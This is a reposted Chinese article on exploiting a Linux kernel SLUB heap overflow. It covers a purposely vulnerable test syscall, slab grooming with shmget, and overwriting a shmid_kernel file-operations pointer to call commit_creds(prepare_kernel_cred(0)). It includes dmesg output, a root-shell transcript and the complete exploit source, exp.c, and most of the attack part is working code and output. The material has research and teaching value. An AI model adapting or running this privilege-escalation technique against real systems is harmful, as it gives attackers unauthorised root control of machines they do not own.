• [轉]Exploit Linux Kernel Slub Overflow


    Exploit Linux Kernel Slub Overflow

    By wzt
    
    
    一、前言
    
        最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类:
    空指针引用,内核堆栈溢出,内核slab溢出,内核任意地址可写等等。空指针引用漏洞比较
    容易exploit,典型的例子如sock_sendpage,udp_sendmsg。但是新内核的安全模块已经不
    在允许userspace的code映射低内存了,所以NULL pointer dereference曾经一度只能dos,
    不能提权。但是CVE-2010-4258这个内核任意地址可写漏洞,可以将null pointer dereference
    的dos转化为提权。内核堆栈溢出相对userspace下的堆栈溢出比较好exploit。这里最难exploit
    的是kernel的slab溢出。关于slab的溢出在05年的时候,UNF的qobaiashi就写过paper来阐述
    slab的exploit方法。此后关于slab的溢出研究在都集中在2.4内核上,2.6下的slab溢出一
    直没看到有相关的paper共享出来。
    
        在kernel 2.6.22的时候,kernel为了改善slab的性能,引入了slub的设计。针对slub
    溢出的paper一直没有被共享直到Jon Oberheide发布了一个针对CAN协议的slub溢出的exploit,
    这个应该是第一个公开的在2.6kernel上利用slab溢出的exploit,在ubuntu-10.04 2.6.32
    的kernel上运行成功。Jon Oberheide在他的blog上也有篇关于分析slub溢出的paper,但是
    这个exploit由于利用了CAN代码上的一些优势,并没有把slub溢出的精髓体现出来。在深入
    研究了这个exploit的基础上,在加上我调试2.4内核slab溢出的经验,研究了一下slub的溢
    出技术,在centos 5.4 + 2.6.32环境测试成功。
    
    
    二、示例代码:
    
        为了便于调试,我自己写了一个LKM模块,给内核新增了一个系统调用,用户可以通过
    api接口来调用。
    
    --code-------------------------------------------------------------------------
    #define BUFFER_SIZE	80
    
    asmlinkage long kmalloc_overflow_test(char *addr, int size)
    {
            char *buff = NULL;
    
            buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
            if (!buff) {
                    printk("kmalloc failed.
    ");
                    return -1;
            }
            printk("[+] Got object at 0x%p
    ", buff);
    
            if (copy_from_user(buff, addr, size)) {
    		printk("copy_from_user failed.
    ");
                    kfree(buff);
    		return -1;
            }
    	printk("%s
    ", buff);
    
            return 0;
    }
    -------------------------------------------------------------------------------
    
        这段代码用kmalloc分配了80字节的空间,但没有检查size的大小,用户传递一个大于
    80的size值将会产生内核堆溢出。
    
    
    三、SLUB结构
    
        slub大大简化了slab的数据结构,如从kmem_cache的3个关于slab的队列中去掉了完全
    满的队列。每个slab的开始也没有了slab管理结构和管理空obj的kmem_bufctl_t数组。一个
    采用slub管理的slab结构如下:
    
        一个slab的结构:
    
        +-------------------------------------------+
        | obj | obj | obj |   ...               |obj|
        +-------------------------------------------+  
       
        根据上面的代码片段,在一个obj溢出后,脏数据会直接覆盖后面相邻的那个obj:
    
        |first|second|
        +-------------------------------------------+
        | obj | obj | obj |   ...               |obj|
        +-------------------------------------------+  
        |-----overflow--->|
    
        当有内核代码访问了被溢出的obj中的数据结构后,就会产生oops。
    
    
    四、SLUB溢出方法
    
        内核提权的最终目的就是触发某个kernel bug,然后控制内核路径到userspace事先布
    置好的shellcode上。因此我们的大方向是在second obj中如果有一个函数指针能被脏数据
    覆盖为userspace下的shellcode,并且用户又能调用这个函数指针,那么将会完成权限提升
    的任务。还有一个要处理的问题就是如何保证在有bug的代码中用kmalloc分配的obj和我们
    想要覆盖的函数指针所在的obj是相邻的。因为只能两者相邻,才能用溢出的数据覆盖函数
    指针。
    
        我们先假设已经在kernel中找到了一个数据结构,正好满足了上面的需求,现在只要保
    证两个obj是相邻的,就能完成指针覆盖。我们知道slab的一个特性是当一个cache中的所有
    slab结构中的obj都用完的时候,内核将会重新分配一个slab,新分配的slab中的obj彼此都
    是相邻的:
    
    Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
    ->cache_alloc_refill()->cache_grow()->cache_init_objs()
    --code-------------------------------------------------------------------------
    static void cache_init_objs(struct kmem_cache *cachep,
    struct slab *slabp, unsigned long ctor_flags)
    {
    	for (i = 0; i < cachep->num; i++) {
    		void *objp = index_to_obj(cachep, slabp, i);
    		slab_bufctl(slabp)[i] = i + 1;
    	}
    	slab_bufctl(slabp)[i - 1] = BUFCTL_END;
    	slabp->free = 0;
    }
    -------------------------------------------------------------------------------
    
        前面在slab的结构中提到有个kmem_bufctl_t数组,里面的每个元素指向下一个空闲obj
    的索引。在初始化一个新的slab时,每个kmem_bufctl_t元素都顺序的指向了与它相邻的下一
    个obj,所以当内核重新分配一个slab结构时,我们从这个新的slab中分配的obj都是相邻的。
    
        那么SLUB是不是也满足这个特性呢?在仔细读过slub的代码后,发现它也满足这个特性:
        
    kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
    --code-------------------------------------------------------------------------
    static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
    {
            last = start;
            for_each_object(p, s, start, page->objects) {
                    setup_object(s, page, last);
                    set_freepointer(s, last, p);
                    last = p;
            }
            setup_object(s, page, last);
            set_freepointer(s, last, NULL);
    }
    #define for_each_object(__p, __s, __addr, __objects) 
            for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;
                            __p += (__s)->size)
    -------------------------------------------------------------------------------
                            
        这段代码遍历一个page中的所有obj进行初始化:
    
    --code-------------------------------------------------------------------------
    static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
    {
            *(void **)(object + s->offset) = fp;
    }
    -------------------------------------------------------------------------------
    
        s->offset保存的是一个slab中下一个空闲的obj偏移,set_freepointer函数将一个obj
    的下一个空闲指针指向了下一个obj。所以slub也满足这个特性。
    
        现在我们只要在用户空间找到一种方法来不断消耗大小为96的slab,当现有的slab用完
    的时候,新分配的slab中的obj就是连续相邻的。如何消耗slab,我们仍然可以用shmget系
    统调用来处理,并且它用到的struct shmid_kernel结构中,就有我们想覆盖的函数指针!
    
    ipc/shm.c:
    --code-------------------------------------------------------------------------
    sys_shmget->ipcget->ipcget_new->newseg:
    static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
    {
            struct shmid_kernel *shp;
    
            shp = ipc_rcu_alloc(sizeof(*shp));
    	shp->shm_file = file;
    }
    void* ipc_rcu_alloc(int size)
    {
    	out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
    }
    -------------------------------------------------------------------------------
    
        因此只要在用户空间不断调用shmget就会在内核中不断消耗大小为96的slab。示例中的
    代码分配的是80个字节,它将会在96大小的slab中分配,这里还有一点需要注意:
    
    --code-------------------------------------------------------------------------
    out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL); 
    -------------------------------------------------------------------------------
    
        用shmget分配的obj前段都有一个8个字节的站位空间,因此用shmget分配的shmid_kernel
    结构将会如下:
    
        | ------ 96 --------------------| ---------------96 ------------|
        +---------------------------------------------------------------+
        | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
        +---------------------------------------------------------------+  
    
        在以后覆盖的时候需要跳过HDRLEN_KMALLOC个字节。
    
        内核中关于slab的信息,可以在/proc/slabinfo得到:
    
    -------------------------------------------------------------------------------
    [wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
    kmalloc-96           922    924     96   42    1 : tunables    0    0    0 : slabdata     22     22      0
    -------------------------------------------------------------------------------
    
        922为当前活跃的obj数目,924是所有slab中obj的数目,因此我们在用户空间中可以解
    析这个文件来得到当前系统中剩余的obj数目:
    
    --code-------------------------------------------------------------------------
    int check_slab(char *slab_name, int *active, int *total)
    {
            FILE *fp;
            char buff[1024], name[64];
            int active_num, total_num;
    
            fp = fopen("/proc/slabinfo", "r");
            if (!fp) {
                    perror("fopen");
                    return -1;
            }
    
            while (fgets(buff, 1024, fp) != NULL) {
                    sscanf(buff, "%s %u %u", name, &active_num, &total_num);
                    if (!strcmp(slab_name, name)) {
                            *active = active_num;
                            *total = total_num;
                            return total_num - active_num;
                    }
            }
    
            return -1;
    }
    -------------------------------------------------------------------------------
    
        现在写一段code来不断调用shmget,看看新分配的obj是不是连续的,为了调试方便,
    我修改了sys_shmget的代码,加入了printk用于打印kmalloc后的地址。trigger程序的代码
    片段如下:
    
    trigger.c:
    --code-------------------------------------------------------------------------
    ...
            shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
    
            fprintf(stdout, "[+] smashing free slab ...
    ");
            for (i = 0; i < free_num + SLAB_NUM; i++) {
                    if (!check_slab(SLAB_NAME, &active_num, &total_num))
                            break;
    
                    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                    if (shmids[i] < 0) {
                            perror("shmget");
                            return -1;
                    }
            }
            base = i;
            fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d
    ",
                    i, total_num, active_num, total_num - active_num);
    
            fprintf(stdout, "[+] smashing adjacent slab ...
    ");
            i = base;
            for (; i < base + SLAB_NUM; i++) {
                    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                    if (shmids[i] < 0) {
                            perror("shmget");
                            return -1;
                    }
            }
            check_slab(SLAB_NAME, &active_num, &total_num);
            fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d
    ",
                    i, total_num, active_num, total_num - active_num);
    ...
    
    [wzt@localhost exp]$ ./exp
    [+] mmaping kernel code at 0x41414141 ok.
    [+] looking for symbols...
    [+] found commit_creds addr at 0xc0446524.
    [+] found prepare_kernel_cred addr at 0xc0446710.
    [+] setting up exploit payload...
    [+] checking slab total: 840 active: 836 free: 4
    [+] smashing free slab ...
    [+] smashing 17 total: 840 active: 840 free: 0
    [+] smashing adjacent slab ...
    [+] smashing 117 total: 966 active: 966 free: 0
    -------------------------------------------------------------------------------
    
        可以看到dmesg后的信息,新的obj都是连续的。
    
    -------------------------------------------------------------------------------    
    [wzt@localhost exp]$ dmesg|tail -n 10
    [+] kmalloc at 0xdf1ea120
    [+] kmalloc at 0xdf1ea180
    [+] kmalloc at 0xdf1ea1e0
    [+] kmalloc at 0xdf1ea240
    [+] kmalloc at 0xdf1ea2a0
    [+] kmalloc at 0xdf1ea300
    [+] kmalloc at 0xdf1ea360
    [+] kmalloc at 0xdf1ea3c0
    [+] kmalloc at 0xdf1ea420
    [+] kmalloc at 0xdf1ea480
    -------------------------------------------------------------------------------
    
        ok,我们已经能获得一个连续的obj了,现在要利用slub的另一个特性:FIFO,先在这
    些连续的obj中选取一个obj释放掉,然后马上触发有bug的代码,那么有bug的代码调用kmalloc
    分配的obj地址就是刚才释放掉的那个obj,当溢出发生后,脏数据将会覆盖它相邻的下一个
    obj。可以用如下代码来触发:
    
    trigger.c:
    --code-------------------------------------------------------------------------
    ...
            free_idx = i - 4;
            fprintf(stdout, "[+] free exist shmid with idx: %d
    ", free_idx);
            if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
                    perror("shmctl");
            }
    
            fprintf(stdout, "[+] trigger kmalloc overflow in %s
    ", SLAB_NAME);
            memset(buff, 0x41, sizeof(buff));
    	kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
    ...
    -------------------------------------------------------------------------------
    
        在这里我们将倒数第4个obj释放掉,执行后dmesg可以看到:
    
    -------------------------------------------------------------------------------
    [+] kmalloc at 0xd3decc00
    [+] kmalloc at 0xd3decc60
    [+] kmalloc at 0xd3deccc0
    [+] kmalloc at 0xd3decd20
    [+] kmalloc at 0xd3decd80
    [-] kfree at 0xd3decc60
    ...............................
    [+] Got object at 0xd3decc60
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    -------------------------------------------------------------------------------
    
        shmctl释放掉了0xd3decc60地址后,有bug的kmalloc分配的地址也是0xd3decc60。
    
    -------------------------------------------------------------------------------
    [wzt@localhost exp]$ tail /proc/sysvipc/shm
             0    8192250     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
    1094795585 1094795585     0        500 134522884     0    500 1094795585 1094795585     0     0 4294967295        252          0
    1094795585 1094795585     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
             0    8323326     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
    -------------------------------------------------------------------------------
             
        可以看到与0xd3decc60相邻的下一个obj地址0xd3deccc0中的shmid_kernel结构已经被
    覆盖了。
    
        现在我们可以来覆盖一个函数指针了,在shmid_kernel中正好有满足我们需要的函数指
    针!
    
        kernel中处理ipc共享内存的一个数据结构struct shmid_kernel:
    
    --code-------------------------------------------------------------------------
    struct shmid_kernel /* private to the kernel */
    {       
            struct kern_ipc_perm    shm_perm;
            struct file *           shm_file;
            unsigned long           shm_nattch;
            unsigned long           shm_segsz;      
            time_t                  shm_atim;
            time_t                  shm_dtim;
            time_t                  shm_ctim;
            pid_t                   shm_cprid;
            pid_t                   shm_lprid;
            struct user_struct      *mlock_user;
    };      
    
    struct shmid_kernel {
    	.shm_file = struct file {
    		.f_op = struct file_operations = {
    			.mmap = ATTACKER_ADDRESS
    		}
    	}
    }
    -------------------------------------------------------------------------------
    
        可以用shmat的系统调用来触发:
    
    --code-------------------------------------------------------------------------
    sys_shmat()->do_shmat():
    long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
    {
    	user_addr = do_mmap(file, addr, size, prot, flags, 0);
    }
    -------------------------------------------------------------------------------
    
        do_mmap将被覆盖为shellcode地址。
    
        ok,现在可以写一个完整的exp了,试试先:
        
    -------------------------------------------------------------------------------
    [wzt@localhost exp]$ ./exp
    执行后系统挂掉了, 看下dmesg信息:
    [+] kmalloc at 0xd31752a0
    [+] kmalloc at 0xd3175300
    [+] kmalloc at 0xd3175360
    [+] kmalloc at 0xd31753c0
    [+] kmalloc at 0xd3175420
    [+] kmalloc at 0xd3175480
    [+] kmalloc at 0xd31754e0
    [-] kfree at 0xd31753c0
    ...............................
    [+] Got object at 0xd31753c0
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    BUG: unable to handle kernel NULL pointer dereference at (null)
    IP: [<c04fc352>] ipc_has_perm+0x46/0x61
    *pde = 00000000 
    Oops: 0000 [#1] SMP 
    last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
    Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]
    
    Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
    EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
    EIP is at ipc_has_perm+0x46/0x61
    EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
    ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
     DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
    Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
    Stack:
     d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
    <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    Call Trace:
     [<c04f9cf3>] ? security_ipc_permission+0xf/0x10
     [<c04f22e4>] ? do_shmat+0xdc/0x349
     [<c04057da>] ? sys_ipc+0xff/0x162
     [<c0402865>] ? syscall_call+0x7/0xb
    Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4 
    EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
    CR2: 0000000000000000
    ---[ end trace 7bbab7e881899412 ]---
    [wzt@localhost exp]$ 
    -------------------------------------------------------------------------------
    
        看上去像selinux的问题,将它关闭掉再试试:
    
    -------------------------------------------------------------------------------
    [wzt@localhost exp]$ ./exp
    [+] mmaping kernel code at 0x41414141 ok.
    [+] looking for symbols...
    [+] found commit_creds addr at 0xc0446524.
    [+] found prepare_kernel_cred addr at 0xc0446710.
    [+] setting up exploit payload...
    [+] checking slab total: 798 active: 791 free: 7
    [+] smashing free slab ...
    [+] smashing 5 total: 798 active: 798 free: 0
    [+] smashing adjacent slab ...
    [+] smashing 105 total: 924 active: 924 free: 0
    [+] free exist shmid with idx: 101
    [+] trigger kmalloc overflow in kmalloc-96
    [+] shmid_kernel size: 80
    [+] kern_ipc_perm size: 44
    [+] shmid: 3309669
    [+] launching root shell!
    [root@localhost exp]# uname -a
    Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
    [root@localhost exp]# 
    -------------------------------------------------------------------------------
    
        成功了,终于得到可爱的root了! 
    
    
    五、源码:
    
    exp.c
    /*
     * linux kernel slub overflow test exploit
     *
     * by wzt	<wzt.wzt@gmail.com>
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <limits.h>
    #include <inttypes.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    #include <sys/shm.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    
    #include "syscalls.h"
    
    #define __NR_kmalloc_overflow_test	59
    
    #define KALLSYMS_NAME			"/proc/kallsyms"
    #define SLAB_NAME			"kmalloc-96"
    #define SLAB_SIZE			96
    #define SLAB_NUM			100
    
    #define IPCMNI				32768
    #define EIDRM				43
    #define HDRLEN_KMALLOC			8
    
    struct list_head {
    	struct list_head *next;
    	struct list_head *prev;
    };
    
    struct super_block {
    	struct list_head s_list;
    	unsigned int s_dev;
    	unsigned long s_blocksize;
    	unsigned char s_blocksize_bits;
    	unsigned char s_dirt;
    	uint64_t s_maxbytes;
    	void *s_type;
    	void *s_op;
    	void *dq_op;
    	void *s_qcop;
    	void *s_export_op;
    	unsigned long s_flags;
    }super_block;
    
    struct mutex {
    	unsigned int count;
    	unsigned int wait_lock;
    	struct list_head wait_list;
    	void *owner;
    };
    
    struct inode {
    	struct list_head i_hash;
    	struct list_head i_list;
    	struct list_head i_sb_list;
    	struct list_head i_dentry_list;
    	unsigned long i_ino;
    	unsigned int i_count;
    	unsigned int i_nlink;
    	unsigned int i_uid;
    	unsigned int i_gid;
    	unsigned int i_rdev;
    	uint64_t i_version;
    	uint64_t i_size;
    	unsigned int i_size_seqcount;
    	long i_atime_tv_sec;
    	long i_atime_tv_nsec;
    	long i_mtime_tv_sec;
    	long i_mtime_tv_nsec;
    	long i_ctime_tv_sec;
    	long i_ctime_tv_nsec;
    	uint64_t i_blocks;
    	unsigned int i_blkbits;
    	unsigned short i_bytes;
    	unsigned short i_mode;
    	unsigned int i_lock;
    	struct mutex i_mutex;
    	unsigned int i_alloc_sem_activity;
    	unsigned int i_alloc_sem_wait_lock;
    	struct list_head i_alloc_sem_wait_list;
    	void *i_op;
    	void *i_fop;
    	struct super_block *i_sb;
    	void *i_flock;
    	void *i_mapping;
    	char i_data[84];
    	void *i_dquot_1;
    	void *i_dquot_2;
    	struct list_head i_devices;
    	void *i_pipe_union;
    	unsigned int i_generation;
    	unsigned int i_fsnotify_mask;
    	void *i_fsnotify_mark_entries;
    	struct list_head inotify_watches;
    	struct mutex inotify_mutex;
    }inode;
    
    struct dentry {
    	unsigned int d_count;
    	unsigned int d_flags;
    	unsigned int d_lock;
    	int d_mounted;
    	void *d_inode;
    	struct list_head d_hash;
    	void *d_parent;
    }dentry;
    
    struct file_operations {
    	void *owner;
    	void *llseek;
    	void *read;
    	void *write;
    	void *aio_read;
     	void *aio_write;
    	void *readdir;
    	void *poll;
    	void *ioctl;
    	void *unlocked_ioctl;
    	void *compat_ioctl;
    	void *mmap;
    	void *open;
    	void *flush;
    	void *release;
    	void *fsync;
    	void *aio_fsync;
    	void *fasync;
    	void *lock;
    	void *sendpage;
    	void *get_unmapped_area;
    	void *check_flags;
    	void *flock;
    	void *splice_write;
    	void *splice_read;
    	void *setlease;
    }op;
    
    struct vfsmount {
    	struct list_head mnt_hash;
    	void *mnt_parent;
    	void *mnt_mountpoint;
    	void *mnt_root;
    	void *mnt_sb;
    	struct list_head mnt_mounts;
    	struct list_head mnt_child;
    	int mnt_flags;
    	const char *mnt_devname;
    	struct list_head mnt_list;
    	struct list_head mnt_expire;
    	struct list_head mnt_share;
    	struct list_head mnt_slave_list;
    	struct list_head mnt_slave;
    	struct vfsmount *mnt_master;
    	struct mnt_namespace *mnt_ns;
    	int mnt_id;
    	int mnt_group_id;
    	int mnt_count;
    }vfsmount;
    
    struct file {
    	struct list_head fu_list;
    	struct vfsmount *f_vfsmnt;
    	struct dentry *f_dentry;
    	void *f_op;
    	unsigned int f_lock;
    	unsigned long f_count;
    }file;
    
    struct kern_ipc_perm {
    	unsigned int lock;
    	int deleted;
    	int id;
    	unsigned int key;
    	unsigned int uid;
    	unsigned int gid;
    	unsigned int cuid;
    	unsigned int cgid;
    	unsigned int mode;
    	unsigned int seq;
    	void *security;
    };  
        
    struct shmid_kernel {
    	struct kern_ipc_perm shm_perm;
    	struct file *shm_file;
    	unsigned long shm_nattch;
    	unsigned long shm_segsz;
    	time_t shm_atim;
    	time_t shm_dtim;
    	time_t shm_ctim;
    	unsigned int shm_cprid;
    	unsigned int shm_lprid;
    	void *mlock_user;
    }shmid_kernel;
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);
    
    int __attribute__((regparm(3)))
    kernel_code(struct file *file, void *vma)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return -1;
    }
    
    unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
    {
            FILE *s_fp;
            char buff[200];
            char *p = NULL, *p1 = NULL;
            unsigned long addr = 0;
    
            s_fp = fopen(file_name, "r");
            if (s_fp == NULL) {
                    printf("open %s failed.
    ", file_name);
                    return 0;
            }
    
            while (fgets(buff, 200, s_fp) != NULL) {
                    if (strstr(buff, symbol_name) != NULL) {
                            buff[strlen(buff) - 1] = "";
                            p = strchr(strchr(buff, " ") + 1, " ");
                            ++p;
    
                            if (!p) {
                                    return 0;
                            }
                            if (!strcmp(p, symbol_name)) {
                                    p1 = strchr(buff, " ");
                                    *p1 = "";
                                    sscanf(buff, "%lx", &addr);
                                    //addr = strtoul(buff, NULL, 16);
                                    printf("[+] found %s addr at 0x%x.
    ",
                                            symbol_name, addr);
                                    break;
                            }
                    }
            }
    
            fclose(s_fp);
            return addr;
    }
    
    int check_slab(char *slab_name, int *active, int *total)
    {
    	FILE *fp;
    	char buff[1024], name[64];
    	int active_num, total_num;
    	
    	fp = fopen("/proc/slabinfo", "r");
    	if (!fp) {
    		perror("fopen");
    		return -1;
    	}
    
    	while (fgets(buff, 1024, fp) != NULL) {
    		sscanf(buff, "%s %u %u", name, &active_num, &total_num);
    		if (!strcmp(slab_name, name)) {
    			*active = active_num;
    			*total = total_num;
    			return total_num - active_num;
    		}
    	}
    
    	return -1;
    }
    
    void clear_old_shm(void)
    {
    	char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; "
    		    "do ipcrm -m $shmid > /dev/null 2>&1; done;";
    
    	system(cmd);
    }
    
    void mmap_init(void)
    {
    	void *payload;
    
            payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
                           PROT_READ | PROT_WRITE | PROT_EXEC,
                           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
            if ((long)payload == -1) {
                    printf("[*] Failed to mmap() at target address.
    ");
                    return ;
            }
    	printf("[+] mmaping kernel code at 0x41414141 ok.
    "); 
            memcpy((void *)0x41414141, &kernel_code, 1024);
    
    }
    
    void setup(void)
    {
    	printf("[+] looking for symbols...
    ");
    
    	commit_creds = (_commit_creds)
    		find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
        	if (!commit_creds) {
    		printf("[-] not found commit_creds addr.
    ");
    		return ;
        	}
    
    	prepare_kernel_cred = 
    		(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 
    		"prepare_kernel_cred");
        	if (!prepare_kernel_cred) {
    		printf("[-] not found prepare_kernel_cred addr.
    ");
    		return ;
        	}
    
    	printf("[+] setting up exploit payload...
    ");
    
    	super_block.s_flags = 0;
    
        	inode.i_size = 4096;
        	inode.i_sb = &super_block;
        	inode.inotify_watches.next = &inode.inotify_watches;
        	inode.inotify_watches.prev = &inode.inotify_watches;
        	inode.inotify_mutex.count = 1;
    
        	dentry.d_count = 4096;
        	dentry.d_flags = 4096;
        	dentry.d_parent = NULL;
        	dentry.d_inode = &inode;
    
        	op.mmap = &kernel_code;
        	op.get_unmapped_area = &kernel_code;
    
        	vfsmount.mnt_flags = 0;
        	vfsmount.mnt_count = 1;
    
        	file.fu_list.prev = &file.fu_list;
        	file.fu_list.next = &file.fu_list;
        	file.f_dentry = &dentry;
        	file.f_vfsmnt = &vfsmount;
        	file.f_op = &op;
    
        	shmid_kernel.shm_perm.key = IPC_PRIVATE;
        	shmid_kernel.shm_perm.uid = 501;
        	shmid_kernel.shm_perm.gid = 501;
        	shmid_kernel.shm_perm.cuid = getuid();
        	shmid_kernel.shm_perm.cgid = getgid();
        	shmid_kernel.shm_perm.mode = -1;
        	shmid_kernel.shm_file = &file;
    }
    
    int trigger(void)
    {
    	int *shmids;
    	int total_num, active_num, free_num;
    	int base, free_idx, i;
    	int ret;
    	char buff[1024];
    
    	clear_old_shm();
    
    	free_num = check_slab(SLAB_NAME, &active_num, &total_num);
    	fprintf(stdout, "[+] checking slab total: %d active: %d free: %d
    ",
    		total_num, active_num, total_num - active_num);
    
    	shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
    
    	fprintf(stdout, "[+] smashing free slab ...
    ");
    	for (i = 0; i < free_num + SLAB_NUM; i++) {
    		if (!check_slab(SLAB_NAME, &active_num, &total_num))
    			break;
    
    		shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    		if (shmids[i] < 0) {
    			perror("shmget");
    			return -1;
    		}
    	}
    	base = i;
            fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d
    ",
                    i, total_num, active_num, total_num - active_num);
    
    	fprintf(stdout, "[+] smashing adjacent slab ...
    ");
    	i = base;
    	for (; i < base + SLAB_NUM; i++) {
                    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                    if (shmids[i] < 0) {
                            perror("shmget");
                            return -1;
                    }
    	}
    	check_slab(SLAB_NAME, &active_num, &total_num);
            fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d
    ",
                    i, total_num, active_num, total_num - active_num);
    
    	//free_idx = base + SLAB_NUM - 4;
    	free_idx = i - 4;
    	fprintf(stdout, "[+] free exist shmid with idx: %d
    ", free_idx);
    	if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
    		perror("shmctl");
    	}
    
    	sleep(1);
    
    	fprintf(stdout, "[+] trigger kmalloc overflow in %s
    ", SLAB_NAME);
    	memset(buff, 0x41, sizeof(buff));
    	shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
    	memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
    	//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));
    
    	printf("[+] shmid_kernel size: %d
    ", sizeof(shmid_kernel));
    	printf("[+] kern_ipc_perm size: %d
    ", sizeof(struct kern_ipc_perm));
    	printf("[+] shmid: %d
    ", shmids[free_idx]);
    
    	kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
    
    	ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
    	if (ret == -1 && errno != EIDRM) {
    		setresuid(0, 0, 0);
    		setresgid(0, 0, 0);
    
    		printf("[+] launching root shell!
    ");
    
    		execl("/bin/bash", "/bin/bash", NULL);
    		exit(0);
    	}
    
    	return 0;
    }
    
    int main(void)
    {
    	mmap_init();
    	setup();
    	trigger();
    }
    
    
    六、参考
    
    1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
    2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术
    3、 qobaiashi - the sotry of exploiting kmalloc() overflows
    4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
    5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
    6、 wzt - Linux kernel stack and heap exploitation
    
    -EOF-
  • 相关阅读:
    项目管理软件选择:redmine or JIRA
    为已编译的DLL附带强命名
    NET简单的一个画图程序
    公共的Json操作类
    ASP.NET 程序优化
    提高ASP.NET页面载入速度的方法
    DataTable快速定制之Expression属性表达式
    TCP和UDP Client 代码
    Jquery实现异步上传图片
